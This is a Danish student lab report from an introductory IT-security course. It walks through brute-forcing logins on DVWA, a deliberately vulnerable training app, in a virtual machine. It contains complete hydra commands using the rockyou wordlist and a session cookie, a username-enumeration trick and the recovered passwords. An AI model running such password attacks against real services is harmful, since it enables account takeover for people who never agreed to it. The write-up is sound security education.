Challenge 01 - Brute Force

Forfatter: Mathias Greisen

Dato: 2026-09-25

Fag/modul: Introduktion til IT-Sikkerhed

Status: Færdig

---

1. Beskrivelse af øvelsen

Brug hydra til at brute force admin password.

Bonus: Find de 4 andre brugernavne og brute force også deres adgangskoder.

---

2. Reproduktion trin for trin

Forudsætninger

• DVWA kørende i en virtuel maskine
• Kali linux med adgang til DVWA

Brute force admin password

1. Åben DVWA og log ind med admin:password og gå til "Brute Force"-siden.

2. Inspicer siden -> storage -> cookies og noter værdien for "PHPSESSID".

3. Forsøg log ind med forkerte oplysninger og noter fejlbeskeden på siden.

   • I mit tilfælde: Username and/or password incorrect.

4. Jeg har udpakket rockyou.txt.gz for at den er mere kompatibel med andre programmer. Men måske den også virker som .gz.

   Decompress rockyou.txt.gz

   gzip -d /usr/share/wordlists/rockyou.txt.gz
   

5. Åben terminalen og brug hydra, sammen med wordlist, "PHPSESSID" og fejlbeskeden, til at brute force admin password.

   Hydra command

   hydra -l admin -P /usr/share/wordlists/rockyou.txt [DVWA IP] -s [DVWA PORT] http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=[DVWA COOKIE];security=low:F=[DVWA FEJLBESKED]" -V
   

   Resultat

   [...]
   [DVWA PORT][http-get-form] host: [DVWA IP]   login: admin   password: password
   1 of 1 target successfully completed, 1 valid password found
   [...]
   

Brute force andre brugeres username og password

1. Log ind med username og password fra forrige afsnit

2. Højreklik på billede og åben det i en ny fane. Bemærk URL adressen. Fjern "/admin.jpg" fra adressen og åben hjemmesiden.

3. Siden viser nu alle brugeres billeder, men navnet på billedet er [username].jpg. Opret en ny wordlist med de nye usernames.

   nano dvwa_usernames.txt
   

   dvwa_usernames.txt

   1337
   gordonb
   pablo
   smithy
   

4. Brug den nye username list til at burte force passwords.

   Hydra med username list og password list

   hydra -L dvwa_usernames.txt -P /usr/share/wordlists/rockyou.txt 10.10.3.10 -s 1335 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=4n2p11105l19q1k01libu8ses3;security=low:F=Username and/or password incorrect." -u -o "dvwa_brute.txt"
   

   • "-u" bruges til først at rotere mellem brugernavne fremfor passwords. Altså hvert password prøves på alle brugernavne, når et hit er fundet til et username, prøves denne ikke af mere.
   • "-o" bruges til at skrive resultatet til en fil.
   dvwa_brute.txt

   [...]
   [DVWA PORT][http-get-form] host: [DVWA IP]   login: smithy   password: password
   [DVWA PORT][http-get-form] host: [DVWA IP]   login: gordonb   password: abc123
   [DVWA PORT][http-get-form] host: [DVWA IP]   login: pablo   password: letmein
   [DVWA PORT][http-get-form] host: [DVWA IP]   login: 1337   password: charley
   

---

3. Problemer og løsninger

Problem	Årsag	Løsning
Problemer med at få hydra til at virke	Forsøgte først brute force admin password på dvwa forside	Søgte mig frem til at man først skal logge ind og så angribe derfra, i Brute Force fanen

---

4. Anvendte ressourcer

• dvwa-guide-2019

---

6. Opsummering af erfaringer

Jeg har fået gode erfaringer med at bruge hydra til http brute forcing. Og fået mere viden om hvordan man, ved at kigge lidt rundt, evt. kan finde mere information, som f.eks. usernames, på en side.

---